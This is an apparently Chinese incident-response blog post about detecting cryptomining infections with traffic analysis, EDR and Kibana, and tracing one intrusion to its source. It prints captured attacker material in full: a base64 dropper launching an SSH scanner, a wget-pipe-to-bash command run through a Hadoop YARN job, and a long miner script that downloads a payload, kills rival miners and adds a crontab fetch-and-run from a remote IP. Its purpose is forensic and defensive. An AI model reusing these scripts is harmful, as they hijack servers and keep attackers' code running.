导语:早期我们判定挖矿主机是通过全流量分析引擎,对外联数据做威胁情报匹配,如果发现外联IP或者域名存在挖矿特征则告警。但是伴随着安全应急响应的深入,我们发现此类误报率偏高,那么,我们如何更有效的石锤恶意挖矿行为并且形成自动化攻击溯源的威胁模型呢?
0x00、前言
早期我们判定挖矿主机是通过全流量分析引擎,对外联数据做威胁情报匹配,如果发现外联IP或者域名存在挖矿特征则告警。但是伴随着安全应急响应的深入,我们发现此类误报率偏高,那么,我们如何更有效的石锤恶意挖矿行为并且形成自动化攻击溯源的威胁模型呢?本期和大家讨论这个问题。
0x01、如何入手调查
这是一个最基本的问题,假设你是一个外行人,如何判断一台机器种了挖矿病毒?大部分人的回答应该是CPU负载过高,OK就从这入手调查。
前提条件,在你的企业中,网络侧,需要拥有一套全流量分析系统,至少包含:威胁情报匹配、传统规则匹配的NIDS、机器学习DGA域名判定。主机侧需要拥有EDR Agent,尽可能的收集主机上网络、进程信息、CPU内存磁盘IO等信息,同时具备传统主机安全威胁发现的能力(例如:暴力破解、rootkit检测、命令行审计等)。
第一步:可疑进程判定
我们在Elastic search中查询,确定哪些服务器的CPU数据为高负载进程。通常的做法是,CPU负载可疑通过Top命令获取,Load Avg: 1.86(1分钟), 1.70(5分钟), 2.44(15分钟),我们观察第三个指标当数值超过2以上,再统计CPU使用率,同时满足:CPU使用率超过80%,并且持续时间超过15分钟。
我们需要的数据是:
用户名称、主机标识、进程名、进程路径、进程MD5。
通过查询kibanna,我们获取相关的列表:(本次只显示一条,生产环境会存在多条),
用户名称:user0001
主机标识:xxx-xxx
进程名:cron
进程路径:/home/apps/.nullcache/a/cron
md5:262f8b44bbc58b1cc237a289a6e968f7
异常情况说明:不是每个可疑的进程都存在md5,很多进程都是在新增或者删除的过程中,获取不到进程文件相关的数据。
第二步:确定感染范围,通过进程md5查询全网是否存在多台可疑的主机,并且查看其衍生进程路径。
第三步:确定感染时间,选中其中的一台主机,查询其进程关联的socket外连情况,同时查询kibana中最早的socket连接时间,本案例确定的最早连接时间为:2019年8月21日16点20左右。
第四步:入侵溯源,在2019年8月21日16点20左右查询所有搜集的数据,我们发现当时进程信息上报了一条bash执行记录。打开cmdlime发现:
bash -c sleep 15s && cd /var/tmp; echo "IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApta2RpciAuWDE3LXVuaXgKY2QgLlgxNy11bml4Cm12IC92YXIvdG1wL2RvdGEudGFyLmd6IGRvdGEudGFyLmd6CnRhciB4ZiBkb3RhLnRhci5negpzbGVlcCAzcyAmJiBjZCAvdG1wLy5YMTctdW5peC8ucnN5bmMvYwpub2h1cCAvdG1wLy5YMTctdW5peC8ucnN5bmMvYy90c20gLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTkyLjE2OCA+PiAvZGV2L251bGwgMj4xJgpzbGVlcCA4bSAmJiBub2h1cCAvdG1wLy5YMTctdW5peC8ucnN5bmMvYy90c20gLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDE3LXVuaXgvLnJzeW5jL2luaXRhbGwgMj4xJgpleGl0IDA=" | base64 --decode | bash
发现黑客通过base64编码逃避规则引擎的检测。解密后发现:
!/bin/bash cd /tmp rm -rf .ssh rm -rf .mountfs rm -rf .X13-unix rm -rf .X17-unix mkdir .X17-unix cd .X17-unix mv /var/tmp/dota.tar.gz dota.tar.gz tar xf dota.tar.gz sleep 3s && cd /tmp/.X17-unix/.rsync/c nohup /tmp/.X17-unix/.rsync/c/tsm -t 150 -S 6 -s 6 -p 22 -P 0 -f 0 -k 1 -l 1 -i 0 /tmp/up.txt 192.168 >> /dev/null 2>1& sleep 8m && nohup /tmp/.X17-unix/.rsync/c/tsm -t 150 -S 6 -s 6 -p 22 -P 0 -f 0 -k 1 -l 1 -i 0 /tmp/up.txt 172.16 >> /dev/null 2>1& sleep 20m && cd ..; /tmp/.X17-unix/.rsync/initall 2>1& exit 0
同时发现hadoop机器上一个匿名用户dr.who起了一个yarn Application,执行了
/bin/bash -c wget -q -O – https://bitbucket.org/qwindra431/mygit/raw/master/zz.sh | bash
"xxx": { "realpath": "/hadoop/yarn/nm/usercache/dr.who/appcache/application_1566136664058_20304/container_1566136664058_20304_02_000001/-c", "gid": 980, "md5": "0719e857695fd4c17ad5bb4547909e5a", "name": "bash", "pid": 11466, "cmdline": "/bin/bash -c wget -q -O - https://bitbucket.org/qwindra431/mygit/raw/master/zz.sh | bash", "groupname": "yarn", "username": "yarn", "path": "/usr/bin/bash", },
确定了入侵源。
#!/bin/bash pkill -f systemctI pkill -f kworkerds pkill -f init10.cfg pkill -f wl.conf pkill -f crond64 pkill -f watchbog pkill -f sustse ps aux | grep -v grep | grep -v "/" | grep -v "-" | grep -v "_" | awk 'length($11)>11{print $2}' | xargs kill -9 pkill -f donate pkill -f proxkekman pkill -f 158.69.133.18 pkill -f 192.99.142.246 pkill -f test.conf pkill -f /var/tmp/apple pkill -f /var/tmp/big pkill -f /var/tmp/small pkill -f /var/tmp/cat pkill -f /var/tmp/dog pkill -f /var/tmp/mysql pkill -f /var/tmp/sishen pkill -f ubyx pkill -f /var/tmp/mysql rm -rf /var/tmp/mysql ps ax | grep java.conf | grep bin | awk '{print $1}' | xargs kill -9 ps ax|grep "./noda\|./manager"|grep sh|grep -v grep | awk '{print $1}' | xargs kill -9 ps ax|grep "./no1"|grep -v grep | awk '{print $1}' | xargs kill -9 ps ax|grep "./uiiu"|grep -v grep | awk '{print $1}' | xargs kill -9 ps ax|grep "./noss"|grep -v grep | awk '{print $1}' | xargs kill -9 ps ax|grep "8220"|grep -v grep | awk '{print $1}' | xargs kill -9 pkill -f cpu.c pkill -f tes.conf pkill -f psping ps ax | grep cs.c | grep bin | awk '{print $1}' | xargs kill -9 ps ax | grep -- "-c cs" | awk '{print $1}' | xargs kill -9 ps ax | grep -- "-c pcp" | awk '{print $1}' | xargs kill -9 ps ax | grep -- "-c omo" | awk '{print $1}' | xargs kill -9 pkill -f /var/tmp/java-c pkill -f pscf pkill -f cryptonight pkill -f sustes pkill -f xmrig pkill -f xmr-stak pkill -f suppoie ps ax | grep "config.json -t" | grep -v grep | awk '{print $1}' | xargs kill -9 ps aux | grep "/lib/systemd/systemd" | awk '{if($3>20.0) print $2}' | xargs kill -9 ps ax | grep 'wc.conf\|wq.conf\|wm.conf\|wt.conf' | grep -v grep | grep 'ppl\|pscf\|ppc\|ppp' | awk '{print $1}' | xargs kill -9 rm -rf /var/tmp/pscf* rm -rf /tmp/pscf* pkill -f ririg rm -rf /var/tmp/ntpd pkill -f /var/tmp/ntpd rm -rf /var/tmp/ntp pkill -f /var/tmp/ntp rm -rf /var/tmp/qq rm -rf /var/tmp/qq1 pkill -f /var/tmp/qq rm -rf /tmp/qq rm -rf /tmp/qq1 pkill -f /tmp/qq pkill -f /var/tmp/aa rm -rf /var/tmp/aa rm -rf /var/tmp/gg rm -rf /var/tmp/gg1 pkill -f gg1.conf rm -rf /var/tmp/hh rm -rf /var/tmp/hh1 pkill -f hh1.conf pkill -f apaqi rm -rf /var/tmp/apaqi pkill -f dajiba rm -rf /var/tmp/dajiba pkill -f /var/tmp/look rm -rf /var/tmp/look pkill -f /var/tmp/nginx rm -rf /var/tmp/nginx rm -rf /var/tmp/dd rm -rf /var/tmp/dd1 rm -rf /var/tmp/apple pkill -f dd1.conf pkill -f kkk1.conf pkill -f ttt1.conf pkill -f ooo1.conf pkill -f ppp1.conf pkill -f lll1.conf pkill -f yyy1.conf pkill -f 1111.conf pkill -f 2221.conf pkill -f dk1.conf pkill -f kd1.conf pkill -f mao1.conf pkill -f YB1.conf pkill -f 2Ri1.conf pkill -f 3Gu1.conf pkill -f crant DIR="/tmp" if [ -a "/tmp/java" ] then if [ -w "/tmp/java" ] && [ ! -d "/tmp/java" ] then if [ -x "$(command -v md5sum)" ] then sum=$(md5sum /tmp/java | awk '{ print $1 }') echo $sum case $sum in bd6c69bf0e5a96bedcfbb0d946d52deb | b00f4bbd82d2f5ec7c8152625684f853) echo "Java OK" ;; *) echo "Java wrong" rm -rf /tmp/java pkill -f w.conf sleep 4 ;; esac fi echo "P OK" else DIR=$(mktemp -d)/tmp mkdir $DIR echo "T DIR $DIR" fi else if [ -d "/var/tmp" ] then DIR="/var/tmp" fi echo "P NOT EXISTS" fi if [ -d "/tmp/java" ] then DIR=$(mktemp -d)/tmp mkdir $DIR echo "T DIR $DIR" fi WGET="wget -O" if [ -s /usr/bin/curl ]; then WGET="curl -o"; fi if [ -s /usr/bin/wget ]; then WGET="wget -O"; fi downloadIfNeed() { if [ -x "$(command -v md5sum)" ] then if [ ! -f $DIR/java ]; then echo "File not found!" download fi sum=$(md5sum $DIR/java | awk '{ print $1 }') echo $sum case $sum in bd6c69bf0e5a96bedcfbb0d946d52deb | b00f4bbd82d2f5ec7c8152625684f853) echo "Java OK" ;; *) echo "Java wrong" sizeBefore=$(du $DIR/java) if [ -s /usr/bin/curl ]; then WGET="curl -k -o "; fi if [ -s /usr/bin/wget ]; then WGET="wget --no-check-certificate -O "; fi echo "" > $DIR/tmp.txt rm -rf $DIR/java download ;; esac else echo "No md5sum" download fi } download() { if [ -x "$(command -v md5sum)" ] then sum=$(md5sum $DIR/pscf3 | awk '{ print $1 }') echo $sum case $sum in bd6c69bf0e5a96bedcfbb0d946d52deb | b00f4bbd82d2f5ec7c8152625684f853) echo "Java OK" cp $DIR/pscf3 $DIR/java ;; *) echo "Java wrong" download2 ;; esac else echo "No md5sum" download2 fi } download2() { $WGET $DIR/java https://bitbucket.org/qwindra431/mygit/raw/master/x_64 if [ -x "$(command -v md5sum)" ] then sum=$(md5sum $DIR/java | awk '{ print $1 }') echo $sum case $sum in bd6c69bf0e5a96bedcfbb0d946d52deb | b00f4bbd82d2f5ec7c8152625684f853) echo "Java OK" cp $DIR/java $DIR/pscf3 ;; *) echo "Java wrong" ;; esac else echo "No md5sum" fi } sed -i '$d' /etc/ld.so.preload netstat -antp | grep '37.59.44.93\|37.59.54.205\|192.99.142.232\|158.69.133.20\|192.99.142.249\|202.144.193.110\|192.99.142.225\|192.99.142.246\|46.4.200.177\|192.99.142.250\|46.4.200.179\|192.99.142.251\|46.4.200.178\|159.65.202.177\|185.92.223.190\|222.187.232.9\|78.46.89.102' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9 if [ "$(netstat -ant|grep '37.59.44.93\|37.59.54.205\|192.99.142.232\|158.69.133.20\|192.99.142.249\|202.144.193.110\|192.99.142.225\|192.99.142.246\|46.4.200.177\|192.99.142.250\|46.4.200.179\|192.99.142.251\|46.4.200.178\|159.65.202.177\|185.92.223.190\|222.187.232.9\|78.46.89.102'|grep 'ESTABLISHED'|grep -v grep)" ]; then ps axf -o "pid %cpu" | awk '{if($2>=30.0) print $1}' | while read procid do kill -9 $procid done else echo "Running" fi if [ ! "$(ps -fe|grep '/tmp/java'|grep 'w.conf'|grep -v grep)" ]; then downloadIfNeed chmod +x $DIR/java $WGET $DIR/w.conf https://bitbucket.org/qwindra431/mygit/raw/master/w.conf nohup $DIR/java -c $DIR/w.conf > /dev/null 2>&1 & sleep 5 rm -rf $DIR/w.conf else echo "Running" fi if crontab -l | grep -q "193.57.40.46" then echo "Cron exists" else echo "Cron not found" LDR="wget -q -O -" if [ -s /usr/bin/curl ]; then LDR="curl"; fi if [ -s /usr/bin/wget ]; then LDR="wget -q -O -"; fi (crontab -l 2>/dev/null; echo "* * * * * $LDR http://193.57.40.46/cr.sh | sh > /dev/null 2>&1")| crontab - fi pkill -f logo4.jpg pkill -f logo0.jpg pkill -f logo9.jpg pkill -f jvs pkill -f javs pkill -f 192.99.142.248 rm -rf /tmp/pscd* rm -rf /var/tmp/pscd* crontab -l | sed '/202.144.193.167/d' | crontab - crontab -l | sed '/192.99.142.232/d' | crontab - crontab -l | sed '/8220/d' | crontab - crontab -l | sed '/192.99.142.226/d' | crontab - crontab -l | sed '/192.99.142.248/d' | crontab - crontab -l | sed '/45.77.86.208/d' | crontab - crontab -l | sed '/144.202.8.151/d' | crontab - crontab -l | sed '/192.99.55.69/d' | crontab - crontab -l | sed '/logo4/d' | crontab - crontab -l | sed '/logo9/d' | crontab - crontab -l | sed '/logo0/d' | crontab - crontab -l | sed '/logo/d' | crontab - crontab -l | sed '/tor2web/d' | crontab - crontab -l | sed '/jpg/d' | crontab - crontab -l | sed '/png/d' | crontab - crontab -l | sed '/tmp/d' | crontab -
0x02、入侵模型抽象